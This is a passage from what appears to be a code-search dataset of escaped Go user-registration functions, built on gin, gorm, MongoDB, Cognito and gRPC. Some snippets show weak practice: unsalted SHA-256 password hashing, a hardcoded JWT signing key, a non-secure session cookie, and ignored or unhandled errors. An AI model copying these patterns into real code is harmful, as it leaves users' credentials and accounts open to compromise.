exists\\\")\\n\\t}\\n\\n\\thashed_password, err := bcrypt.GenerateFromPassword([]byte(user.Password), COST)\\n\\tif err != nil {\\n\\t\\treturn user, err\\n\\t}\\n\\tuser.Password = string(hashed_password)\\n\\n\\t// save the user\\n\\tkey := datastore.NewIncompleteKey(c, \\\"Users\\\", nil)\\n\\t_, err = datastore.Put(c, key, &user)\\n\\n\\tif err != nil {\\n\\t\\treturn user, err\\n\\t}\\n\\n\\treturn user, nil\\n}\",\n \"func (ah *AuthHandler) Register(ctx *gin.Context) {\\n\\tvar user *model.User\\n\\terr := ctx.Bind(&user)\\n\\tif err != nil {\\n\\t\\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\\n\\t\\t\\tMessage: err.Error(),\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\n\\t_, err = ah.Service.GetByEmail(ctx, user.Email)\\n\\tif err == nil {\\n\\t\\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\\n\\t\\t\\tMessage: \\\"user already exists\\\",\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\n\\tif err != pgx.ErrNoRows {\\n\\t\\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\\n\\t\\t\\tMessage: err.Error(),\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Password = hashSHA256(user.Password)\\n\\n\\terr = ah.Service.Store(ctx, user)\\n\\tif err != nil {\\n\\t\\tctx.JSON(http.StatusInternalServerError, response.ErrorResponse{\\n\\t\\t\\tMessage: err.Error(),\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\n\\tctx.JSON(http.StatusOK, user)\\n}\",\n \"func RegisterUser(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\\n\\tfmt.Println(\\\"register\\\")\\n\\truser := model.RUser{}\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\tif err := decoder.Decode(&ruser); err != nil {\\n\\t\\tRespondError(w, http.StatusBadRequest, \\\"\\\")\\n\\t\\tlog.Println(\\\"decode:\\\", err.Error())\\n\\t\\treturn\\n\\t}\\n\\tdefer r.Body.Close()\\n\\n\\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(ruser.Password), 8)\\n\\tif err != nil {\\n\\t\\tRespondError(w, http.StatusInternalServerError, \\\"\\\")\\n\\t\\tlog.Println(\\\"hash:\\\", err.Error())\\n\\t\\treturn\\n\\t}\\n\\n\\tid, err := uuid.NewUUID()\\n\\tif err != nil {\\n\\t\\tRespondError(w, http.StatusInternalServerError, \\\"\\\")\\n\\t}\\n\\n\\tuser := model.User{\\n\\t\\tName: ruser.Name,\\n\\t\\tUsername: ruser.Username,\\n\\t\\tPassword: string(hashedPassword),\\n\\t\\tUUID: id.String(),\\n\\t}\\n\\n\\tif err := db.Save(&user).Error; err != nil {\\n\\t\\tRespondError(w, http.StatusInternalServerError, \\\"\\\")\\n\\t\\tlog.Println(\\\"save:\\\", err.Error())\\n\\t\\treturn\\n\\t}\\n\\tRespondJSON(w, http.StatusCreated, user)\\n}\",\n \"func Register(user models.User) (string, bool, error){\\n\\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\\n\\t\\n\\tdefer cancel()\\n\\n\\tdb := MongoClient.Database(\\\"test-api-go\\\")\\n\\tcol := db.Collection(\\\"users\\\")\\n\\n\\tuser.Password, _ = PasswordEncrypt(user.Password)\\n\\n\\tresult, err := col.InsertOne(ctx, user)\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", false, err\\n\\t}\\n\\n\\tObjID, _ := result.InsertedID.(primitive.ObjectID)\\n\\treturn ObjID.String(), true, nil\\n}\",\n \"func (c *CognitoFlow) Register(w http.ResponseWriter, r *http.Request) {\\n\\ttype userdata struct {\\n\\t\\tUsername string `json:\\\"username\\\"`\\n\\t\\tPassword string `json:\\\"password\\\"`\\n\\t\\tEmail string `json:\\\"email\\\"`\\n\\t}\\n\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\thttp.Error(w, \\\"\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tvar userd userdata\\n\\terr = json.Unmarshal(body, &userd)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t}\\n\\n\\tusername := userd.Username\\n\\tlog.Infof(\\\"username: %v\\\", username)\\n\\tpassword := userd.Password\\n\\tif len(password) > 0 {\\n\\t\\tlog.Infof(\\\"password is %d characters long\\\", len(password))\\n\\t}\\n\\temail := userd.Email\\n\\tlog.Infof(\\\"email: %v\\\", email)\\n\\n\\tuser := &cognitoidentityprovider.SignUpInput{\\n\\t\\tUsername: &username,\\n\\t\\tPassword: &password,\\n\\t\\tClientId: aws.String(c.AppClientID),\\n\\t\\tUserAttributes: []*cognitoidentityprovider.AttributeType{\\n\\t\\t\\t{\\n\\t\\t\\t\\tName: aws.String(\\\"email\\\"),\\n\\t\\t\\t\\tValue: &email,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\n\\toutput, err := c.CognitoClient.SignUp(user)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\thttp.Error(w, err.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\t/*if !*output.UserConfirmed {\\n\\t\\tlog.Error(\\\"user registration failed\\\")\\n\\t\\thttp.Error(w, \\\"\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}*/\\n\\tdata, err := json.Marshal(output)\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"user registration failed\\\")\\n\\t\\thttp.Error(w, \\\"\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tw.WriteHeader(http.StatusOK)\\n\\tw.Write(data)\\n}\",\n \"func createHandler(w http.ResponseWriter, r *http.Request) {\\n user := new(User)\\n user.Token = validateToken(r.FormValue(\\\"token\\\"))\\n user.PasswordHash = validateHash(r.FormValue(\\\"passHash\\\"))\\n user.PublicKey = validatePublicKey(r.FormValue(\\\"publicKey\\\"))\\n user.PublicHash = computePublicHash(user.PublicKey)\\n user.CipherPrivateKey = validateHex(r.FormValue(\\\"cipherPrivateKey\\\"))\\n\\n log.Printf(\\\"Woot! New user %s %s\\\\n\\\", user.Token, user.PublicHash)\\n\\n if !SaveUser(user) {\\n http.Error(w, \\\"That username is taken\\\", http.StatusBadRequest)\\n }\\n}\",\n \"func Register(client httpclient.IHttpClient, ctx context.Context, lobby, email, password, challengeID, lang string) error {\\n\\tif lang == \\\"\\\" {\\n\\t\\tlang = \\\"en\\\"\\n\\t}\\n\\tvar payload struct {\\n\\t\\tCredentials struct {\\n\\t\\t\\tEmail string `json:\\\"email\\\"`\\n\\t\\t\\tPassword string `json:\\\"password\\\"`\\n\\t\\t} `json:\\\"credentials\\\"`\\n\\t\\tLanguage string `json:\\\"language\\\"`\\n\\t\\tKid string `json:\\\"kid\\\"`\\n\\t}\\n\\tpayload.Credentials.Email = email\\n\\tpayload.Credentials.Password = password\\n\\tpayload.Language = lang\\n\\tjsonPayloadBytes, err := json.Marshal(&payload)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treq, err := http.NewRequest(http.MethodPut, \\\"https://\\\"+lobby+\\\".ogame.gameforge.com/api/users\\\", strings.NewReader(string(jsonPayloadBytes)))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif challengeID != \\\"\\\" {\\n\\t\\treq.Header.Add(ChallengeIDCookieName, challengeID)\\n\\t}\\n\\treq.Header.Add(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\treq.Header.Add(\\\"Accept-Encoding\\\", \\\"gzip, deflate, br\\\")\\n\\treq.WithContext(ctx)\\n\\tresp, err := client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\tif resp.StatusCode == http.StatusConflict {\\n\\t\\tgfChallengeID := resp.Header.Get(ChallengeIDCookieName) // c434aa65-a064-498f-9ca4-98054bab0db8;https://challenge.gameforge.com\\n\\t\\tif gfChallengeID != \\\"\\\" {\\n\\t\\t\\tparts := strings.Split(gfChallengeID, \\\";\\\")\\n\\t\\t\\tchallengeID := parts[0]\\n\\t\\t\\treturn NewCaptchaRequiredError(challengeID)\\n\\t\\t}\\n\\t}\\n\\tby, err := utils.ReadBody(resp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tvar res struct {\\n\\t\\tMigrationRequired bool `json:\\\"migrationRequired\\\"`\\n\\t\\tError string `json:\\\"error\\\"`\\n\\t}\\n\\tif err := json.Unmarshal(by, &res); err != nil {\\n\\t\\treturn errors.New(err.Error() + \\\" : \\\" + string(by))\\n\\t}\\n\\tif res.Error == \\\"email_invalid\\\" {\\n\\t\\treturn ErrEmailInvalid\\n\\t} else if res.Error == \\\"email_used\\\" {\\n\\t\\treturn ErrEmailUsed\\n\\t} else if res.Error == \\\"password_invalid\\\" {\\n\\t\\treturn ErrPasswordInvalid\\n\\t} else if res.Error != \\\"\\\" {\\n\\t\\treturn errors.New(res.Error)\\n\\t}\\n\\treturn nil\\n}\",\n \"func Register(c *gin.Context) {\\n\\tusername := c.PostForm(\\\"username\\\")\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\temail := c.PostForm(\\\"email\\\")\\n\\tif !store.ValidUser(username, password, email) {\\n\\t\\tuser, err := store.RegisterUser(username, password, email)\\n\\t\\tif err != nil || user == nil {\\n\\t\\t\\tc.HTML(http.StatusBadRequest, \\\"register.html\\\", gin.H{\\n\\t\\t\\t\\t\\\"ErrorTitle\\\": \\\"Registration Failed\\\",\\n\\t\\t\\t\\t\\\"ErrorMessage\\\": err.Error()})\\n\\t\\t} else {\\n\\t\\t\\t//if user is created successfully we generate cookie token\\n\\t\\t\\ttoken := generateSessionToken()\\n\\t\\t\\tc.SetCookie(\\\"token\\\", token, 3600, \\\"\\\", \\\"\\\", false, true)\\n\\t\\t\\tc.Set(\\\"is_logged_in\\\", true)\\n\\n\\t\\t\\trender(c, gin.H{\\n\\t\\t\\t\\t\\\"title\\\": \\\"Successful registration & Login\\\"}, \\\"register-successful.html\\\")\\n\\t\\t}\\n\\t} else {\\n\\t\\t//if new user information is not valid\\n\\t\\t//we generate errors\\n\\t\\tc.HTML(http.StatusBadRequest, \\\"register.html\\\", gin.H{\\n\\t\\t\\t\\\"ErrorTitle\\\": \\\"Invalid user information\\\",\\n\\t\\t\\t\\\"ErrorMessage\\\": errors.New(\\\"Invalid user information\\\").Error()})\\n\\t}\\n}\",\n \"func (u *User) Save() *errors.RestErr {\\n\\tcurrent := usersDB[u.Id]\\n\\tif current != nil {\\n\\t\\tif current.Email == u.Email {\\n\\t\\t\\treturn errors.NewBadRequestError(fmt.Sprintf(\\\"email %s already registerd\\\", u.Email))\\n\\t\\t}\\n\\t\\treturn errors.NewBadRequestError(\\\"user already exists\\\")\\n\\t}\\n\\n\\tu.DateCreated = date_utils.GetNowString()\\n\\n\\tusersDB[u.Id] = u\\n\\treturn nil\\n}\",\n \"func (a *App) Register(w http.ResponseWriter, r *http.Request) {\\n\\tvar registerInfo uvm.UserRegisterVM\\n\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\tvar err error\\n\\n\\tif err = decoder.Decode(&registerInfo); err != nil {\\n\\t\\trespondWithError(w, http.StatusBadRequest, \\\"Invalid request body\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t//TODO validate user data\\n\\n\\tregisterInfo.Password, err = utils.HashPassword(registerInfo.Password)\\n\\n\\tif err != nil {\\n\\t\\trespondWithError(w, http.StatusInternalServerError, \\\"Could not register user\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tvar user models.User\\n\\n\\tuser, err = a.UserStore.AddUser(registerInfo)\\n\\n\\tif err != nil {\\n\\t\\trespondWithError(w, http.StatusInternalServerError, err.Error())\\n\\t}\\n\\n\\ttoken := auth.GenerateToken(a.APISecret, user)\\n\\n\\tresult := models.UserResult{\\n\\t\\tUsername: user.Username,\\n\\t\\tPicture: user.Picture,\\n\\t\\tRole: user.Role.Name,\\n\\t\\tToken: token,\\n\\t}\\n\\n\\trespondWithJSON(w, http.StatusOK, result)\\n}\",\n \"func (a *Auth) RegisterProvider(ctx context.Context, req *pb.ProviderRegisterRequest) (*pb.Response, error) {\\n\\tspan := jtrace.Tracer.StartSpan(\\\"register-provider\\\")\\n\\tdefer span.Finish()\\n\\tspan.SetTag(\\\"register\\\", \\\"register provider\\\")\\n\\n\\t// hash password for store into DB\\n\\tpassword, err := cript.Hash(req.GetPassword())\\n\\tif err != nil {\\n\\t\\treturn &pb.Response{Message: fmt.Sprintf(\\\"ERROR: %s\\\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \\\"FAILED\\\"}}, status.Errorf(codes.Internal, \\\"error in hash password: %s\\\", err.Error())\\n\\t}\\n\\n\\t// create new user requested.\\n\\tuser, err := user.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.User{\\n\\t\\tUsername: req.GetUsername(),\\n\\t\\tPassword: &password,\\n\\t\\tName: req.GetName(),\\n\\t\\tLastName: req.GetLastName(),\\n\\t\\tPhone: req.GetPhone(),\\n\\t\\tEmail: req.GetEmail(),\\n\\t\\tBirthDate: req.GetBirthDate(),\\n\\t\\tGender: req.GetGender().String(),\\n\\t\\tRoleID: 2, // PROVIDER\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn &pb.Response{Message: fmt.Sprintf(\\\"ERROR: %s\\\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \\\"FAILED\\\"}}, status.Errorf(codes.Internal, \\\"error in store user: %s\\\", err.Error())\\n\\t}\\n\\n\\t// create provider\\n\\tif err := provider.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.Provider{\\n\\t\\tUserID: user.ID,\\n\\t\\tFixedNumber: req.GetFixedNumber(),\\n\\t\\tCompany: req.GetCompany(),\\n\\t\\tCard: req.GetCard(),\\n\\t\\tCardNumber: req.GetCardNumber(),\\n\\t\\tShebaNumber: req.GetShebaNumber(),\\n\\t\\tAddress: req.GetAddress(),\\n\\t}); err != nil {\\n\\t\\treturn &pb.Response{Message: fmt.Sprintf(\\\"ERROR: %s\\\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \\\"FAILED\\\"}}, status.Errorf(codes.Internal, \\\"error in store new provider: %s\\\", err.Error())\\n\\t}\\n\\n\\t// return successfully message\\n\\treturn &pb.Response{Message: \\\"provider created successfully\\\", Status: &pb.Status{Code: http.StatusOK, Message: \\\"SUCCESS\\\"}}, nil\\n}\",\n \"func InsertRegister(object models.User) (string, bool, error) {\\n\\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\\n\\n\\t//When end instruction remove timeout operation and liberate context\\n\\tdefer cancel()\\n\\n\\tdb := MongoConnection.Database(\\\"socialnetwork\\\")\\n\\tcollection := db.Collection(\\\"Users\\\")\\n\\n\\t//Set password encrypted\\n\\tpassWordEncrypted, _ := utils.EcryptPasswordUtil(object.Password)\\n\\tobject.Password = passWordEncrypted\\n\\n\\tresult, err := collection.InsertOne(ctx, object)\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", false, err\\n\\t}\\n\\n\\t//Get id of created object\\n\\tObjectID, _ := result.InsertedID.(primitive.ObjectID)\\n\\n\\t//Return created object id\\n\\treturn ObjectID.String(), true, nil\\n\\n}\",\n \"func (u *User) Save() error {\\n\\t//\\tvar out bool\\n\\tvar err error\\n\\tvar hashed = make(chan []byte, 1)\\n\\tvar errchan = make(chan error, 1)\\n\\n\\t/* Generate salt */\\n\\tgo func() {\\n\\t\\thash, _ := crypt([]byte(u.Pass))\\n\\t\\thashed <- hash\\n\\t}()\\n\\tu.Hash = <-hashed\\n\\tu.Pass = \\\"\\\" // reset to empty\\n\\n\\t/* do low level store process on another thread */\\n\\tif u.Hash != nil {\\n\\t\\tgo func() {\\n\\t\\t\\te := u.Create(u)\\n\\t\\t\\terrchan <- e\\n\\t\\t}()\\n\\t}\\n\\n\\terr = <-errchan\\n\\t//\\tif strings.Contains(err.Error(), \\\"pq: duplicate key value violates unique constraint\\\") {\\n\\t//\\t\\terr = u.read(u.User, u)\\n\\t//\\t}\\n\\n\\treturn err\\n}\",\n \"func Register(c echo.Context) error {\\n\\n\\tRegisterAttempt := types.RegisterAttempt{}\\n\\terr := c.Bind(&RegisterAttempt)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusBadRequest, map[string]string{\\\"result\\\": \\\"error\\\", \\\"details\\\": \\\"Error binding register attempt.\\\"})\\n\\t}\\n\\n\\tuserCreated, err := util.NewUser(RegisterAttempt.User, RegisterAttempt.Pass, RegisterAttempt.PassCheck)\\n\\tif err != nil {\\n\\t\\tmsgUser := err.Error()\\n\\t\\treturn c.JSON(http.StatusOK, msgUser)\\n\\t}\\n\\n\\tif userCreated {\\n\\t\\tmsgUser := fmt.Sprintf(\\\"User %s created!\\\", RegisterAttempt.User)\\n\\t\\treturn c.String(http.StatusOK, msgUser)\\n\\t}\\n\\n\\tmsgUser := fmt.Sprintf(\\\"User already exists or passwords don't match!\\\")\\n\\treturn c.String(http.StatusOK, msgUser)\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\\n\\tswitch r.Method {\\n\\tcase \\\"GET\\\":\\n\\t\\tutils.RenderTemplate(w, r, \\\"register\\\", sm, make(map[string]interface{}))\\n\\n\\tcase \\\"POST\\\":\\n\\t\\tvar newUser *user.User\\n\\n\\t\\tdfc := s.GetDataSource(\\\"persistence\\\")\\n\\n\\t\\tp, ok := dfc.(persistence.IPersistance)\\n\\t\\tif !ok {\\n\\t\\t\\tlogger.Log(\\\"Invalid store\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tc := p.GetCollection(\\\"users\\\")\\n\\n\\t\\tapiServer := r.PostFormValue(\\\"api-server\\\")\\n\\t\\tusername := r.PostFormValue(\\\"username\\\")\\n\\t\\tpassword := hash.EncryptString(r.PostFormValue(\\\"password\\\"))\\n\\n\\t\\tnewUser = &user.User{\\n\\t\\t\\tID: bson.NewObjectId(),\\n\\t\\t\\tUsername: username,\\n\\t\\t\\tPassword: password,\\n\\t\\t\\tAPIServerIP: apiServer,\\n\\t\\t}\\n\\n\\t\\terr := c.Insert(newUser)\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(err)\\n\\t\\t\\tlogger.Log(\\\"Error registering user '\\\" + username + \\\"'\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tlogger.Log(\\\"Registered user '\\\" + username + \\\"'\\\")\\n\\n\\t\\tlogger.Log(\\\"Registering user in API server \\\" + apiServer)\\n\\t\\tform := url.Values{}\\n\\t\\tform.Add(\\\"username\\\", username)\\n\\t\\tform.Add(\\\"password\\\", password)\\n\\n\\t\\tregisterURL := \\\"http://\\\" + apiServer + \\\":\\\" + os.Getenv(\\\"SH_API_SRV_PORT\\\") + \\\"/login/register\\\"\\n\\t\\t_, err = http.PostForm(registerURL, form)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(err)\\n\\t\\t\\tlogger.Log(\\\"Error registering user in endpoint \\\" + registerURL)\\n\\t\\t}\\n\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n\\tdefault:\\n\\t}\\n}\",\n \"func (rsh *routeServiceHandler) Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tuser := &models.User{}\\n\\terr := json.NewDecoder(r.Body).Decode(user)\\n\\tif err != nil {\\n\\t\\tsendResponse(w, r, StatusError, err.Error(), nil)\\n\\t\\treturn\\n\\t}\\n\\n\\tpass, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost)\\n\\tif err != nil {\\n\\t\\tsendResponse(w, r, StatusError, err.Error(), nil)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Password = string(pass)\\n\\n\\tcreatedUser, err := rsh.ctlr.Register(*user)\\n\\tif err != nil {\\n\\t\\tsendResponse(w, r, StatusError, err.Error(), createdUser)\\n\\t\\treturn\\n\\t}\\n\\n\\tsendResponse(w, r, StatusSuccess, \\\"\\\", createdUser)\\n\\treturn\\n}\",\n \"func Register(context *gin.Context) {\\n\\tvar requestBody models.UserReq\\n\\tif context.ShouldBind(&requestBody) == nil {\\n\\t\\tvalidCheck := validation.Validation{}\\n\\t\\tvalidCheck.Required(requestBody.UserName, \\\"user_name\\\").Message(\\\"Must have user name\\\")\\n\\t\\tvalidCheck.MaxSize(requestBody.UserName, 16, \\\"user_name\\\").Message(\\\"User name length can not exceed 16\\\")\\n\\t\\tvalidCheck.MinSize(requestBody.UserName, 6, \\\"user_name\\\").Message(\\\"User name length is at least 6\\\")\\n\\t\\tvalidCheck.Required(requestBody.Password, \\\"password\\\").Message(\\\"Must have password\\\")\\n\\t\\tvalidCheck.MaxSize(requestBody.Password, 16, \\\"password\\\").Message(\\\"Password length can not exceed 16\\\")\\n\\t\\tvalidCheck.MinSize(requestBody.Password, 6, \\\"password\\\").Message(\\\"Password length is at least 6\\\")\\n\\t\\tvalidCheck.Required(requestBody.Email, \\\"email\\\").Message(\\\"Must have email\\\")\\n\\t\\tvalidCheck.MaxSize(requestBody.Email, 128, \\\"email\\\").Message(\\\"Email can not exceed 128 chars\\\")\\n\\n\\t\\tresponseCode := constant.INVALID_PARAMS\\n\\t\\tif !validCheck.HasErrors() {\\n\\t\\t\\tuserEntity := models.UserReq2User(requestBody)\\n\\t\\t\\tif err := models.InsertUser(userEntity); err == nil {\\n\\t\\t\\t\\tresponseCode = constant.USER_ADD_SUCCESS\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tresponseCode = constant.USER_ALREADY_EXIST\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tfor _, err := range validCheck.Errors {\\n\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tcontext.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"code\\\": responseCode,\\n\\t\\t\\t\\\"data\\\": \\\"\\\",\\n\\t\\t\\t\\\"msg\\\": constant.GetMessage(responseCode),\\n\\t\\t})\\n\\t} else {\\n\\t\\tcontext.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"code\\\": 200,\\n\\t\\t\\t\\\"data\\\": \\\"\\\",\\n\\t\\t\\t\\\"msg\\\": \\\"添加失败,参数有误\\\",\\n\\t\\t})\\n\\t}\\n}\",\n \"func RegisterUser(serverURI, username, password, email string) {\\n\\tregisterUserBody := struct {\\n\\t\\tUsername string `json:\\\"username\\\"`\\n\\t\\tPassword string `json:\\\"password\\\"`\\n\\t\\tEmail string `json:\\\"email\\\"`\\n\\t\\tConfirmPassword string `json:\\\"confirmPassword\\\"`\\n\\t}{\\n\\t\\tusername,\\n\\t\\tpassword,\\n\\t\\temail,\\n\\t\\tpassword,\\n\\t}\\n\\tdata, merr := json.Marshal(registerUserBody)\\n\\tif merr != nil {\\n\\t\\tΩ(merr).ShouldNot(HaveOccurred())\\n\\t}\\n\\n\\tres, err := http.Post(serverURI+\\\"/v3/user/auth/local/register\\\", \\\"application/json\\\", bytes.NewBuffer(data))\\n\\tΩ(err).ShouldNot(HaveOccurred())\\n\\tΩ(res.StatusCode).ShouldNot(BeNumerically(\\\">=\\\", 300))\\n}\",\n \"func (u *User) PostRegister(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\\n\\tw.Header().Set(\\\"Cache-Control\\\", \\\"no-store\\\")\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tw.Header().Set(\\\"Pragma\\\", \\\"no-cache\\\")\\n\\n\\t// TODO: Implement this.\\n\\t// sess, ok := r.Context(entity.ContextKeySession).(*session.Session)\\n\\t// if ok {\\n\\t// http.Redirect(w, r, \\\"/\\\", http.StatusFound)\\n\\t// return\\n\\t// }\\n\\n\\t// if ok := u.session.HasSession(r); ok {\\n\\t// http.Redirect(w, r, \\\"/\\\", http.StatusFound)\\n\\t// return\\n\\t// }\\n\\n\\tvar req Credentials\\n\\tif err := json.NewDecoder(r.Body).Decode(&req); err != nil {\\n\\t\\twriteError(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser, err := u.service.Register(req.Email, req.Password)\\n\\tif err != nil {\\n\\t\\twriteError(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tprovideToken := func(userid string) (string, error) {\\n\\t\\tvar (\\n\\t\\t\\taud = \\\"https://server.example.com/register\\\"\\n\\t\\t\\tsub = userid\\n\\t\\t\\tiss = userid\\n\\t\\t\\tiat = time.Now().UTC()\\n\\t\\t\\texp = iat.Add(2 * time.Hour)\\n\\n\\t\\t\\tkey = []byte(\\\"access_token_secret\\\")\\n\\t\\t)\\n\\t\\tclaims := crypto.NewStandardClaims(aud, sub, iss, iat.Unix(), exp.Unix())\\n\\t\\treturn crypto.NewJWT(key, claims)\\n\\t}\\n\\n\\taccessToken, err := provideToken(user.ID)\\n\\tif err != nil {\\n\\t\\twriteError(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tu.session.SetSession(w, user.ID)\\n\\n\\tw.WriteHeader(http.StatusOK)\\n\\tjson.NewEncoder(w).Encode(M{\\n\\t\\t\\\"access_token\\\": accessToken,\\n\\t})\\n}\",\n \"func (s *Server) RegisterService(ctx context.Context, req *authpb.RegisterRequest) (*authpb.RegisterResponse, error) {\\n\\tlog.Printf(\\\"Registering user with email %s \\\\n\\\", req.GetEmail())\\n\\tuser := user.User{\\n\\t\\tEmail: req.GetEmail(),\\n\\t\\tFullname: req.GetFullname(),\\n\\t\\tPassword: req.GetPassword(),\\n\\t}\\n\\n\\tif user.Email == \\\"\\\" || user.Fullname == \\\"\\\" || user.Password == \\\"\\\" {\\n\\t\\treturn nil, status.Errorf(\\n\\t\\t\\tcodes.InvalidArgument,\\n\\t\\t\\t\\\"Fullname, Email, and Password Is Required!\\\",\\n\\t\\t)\\n\\t}\\n\\n\\tu, _ := s.Manager.FindOne(user.Email)\\n\\tif u != nil {\\n\\t\\treturn nil, status.Errorf(\\n\\t\\t\\tcodes.AlreadyExists,\\n\\t\\t\\tfmt.Sprintf(\\\"User with email %s already exist\\\", user.Email),\\n\\t\\t)\\n\\t}\\n\\n\\t_ = s.Manager.Register(user)\\n\\ttoken := s.Token.Generate(&user)\\n\\n\\tlog.Println(\\\"Success registering new user with email:\\\", user.Email)\\n\\treturn &authpb.RegisterResponse{\\n\\t\\tMessage: \\\"Register success\\\",\\n\\t\\tAccessToken: token,\\n\\t}, nil\\n}\",\n \"func (m *Manager) RegisterUser(username string, password string) bool {\\n\\t_, found := m.users[username]\\n\\tif !found {\\n\\t\\tpwd := m.getSaltedHashedPassword(password)\\n\\t\\tm.users[username] = credentials{username: username, password: pwd}\\n\\t\\tlog.Printf(\\\"Registering: %s\\\", username)\\n\\t\\treturn true\\n\\t}\\n\\tlog.Printf(\\\"User already exists: %s\\\", username)\\n\\treturn false\\n}\",\n \"func RegistrationPage(w http.ResponseWriter, r *http.Request) {\\n var flag bool\\n var details helpers.User\\n var targettmpl string\\n w.Header().Set(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")\\n userDetails := getSession(r)\\n \\n if (len(userDetails.FirstName) <= 0 && userDetails.Role == \\\"Admin\\\" ) {\\n w.Write([]byte(\\\"\\\"))\\n }\\n\\n if (userDetails.Role == \\\"Admin\\\" || userDetails.Role == \\\"admin\\\"){ \\n targettmpl = \\\"templates/registrationPage.html\\\" \\n }else{\\n targettmpl = \\\"templates/registrationUser.html\\\" \\n }\\n\\n t := template.Must(template.ParseFiles(targettmpl))\\n\\n if r.Method != http.MethodPost {\\n t.Execute(w, nil)\\n return\\n }\\n \\n\\n details = helpers.User{\\n UserId: r.FormValue(\\\"userid\\\"),\\n FirstName: r.FormValue(\\\"fname\\\"),\\n LastName: r.FormValue(\\\"lname\\\"),\\n Email: r.FormValue(\\\"email\\\"),\\n Password: r.FormValue(\\\"pwd\\\"),\\n Role: r.FormValue(\\\"role\\\"),\\n ManagerID : \\\"unassigned\\\",\\n }\\n \\n if details.Role ==\\\"\\\" {\\n details.Role = \\\"User\\\" \\n }\\n \\n msg := dbquery.CheckDuplicateEmail(details.Email)\\n\\n details.Password, _ = HashPassword(details.Password)\\n\\n if msg == \\\"\\\"{\\n fmt.Println(\\\" **** Inserting a record ****\\\")\\n flag = dbquery.RegisterUser(details)\\n } \\n\\n t.Execute(w, Allinfo{EmailId: details.Email, IssueMsg: msg, SuccessFlag: flag} )\\n}\",\n \"func AcceptRegisterUser(w http.ResponseWriter, r *http.Request) {\\n\\n\\tcontentType := \\\"application/json\\\"\\n\\tcharset := \\\"utf-8\\\"\\n\\tw.Header().Add(\\\"Content-Type\\\", fmt.Sprintf(\\\"%s; charset=%s\\\", contentType, charset))\\n\\n\\t// Grab url path variables\\n\\turlVars := mux.Vars(r)\\n\\tregUUID := urlVars[\\\"uuid\\\"]\\n\\n\\t// Grab context references\\n\\trefStr := gorillaContext.Get(r, \\\"str\\\").(stores.Store)\\n\\trefUserUUID := gorillaContext.Get(r, \\\"auth_user_uuid\\\").(string)\\n\\n\\tru, err := auth.FindUserRegistration(regUUID, auth.PendingRegistrationStatus, refStr)\\n\\tif err != nil {\\n\\n\\t\\tif err.Error() == \\\"not found\\\" {\\n\\t\\t\\terr := APIErrorNotFound(\\\"User registration\\\")\\n\\t\\t\\trespondErr(w, 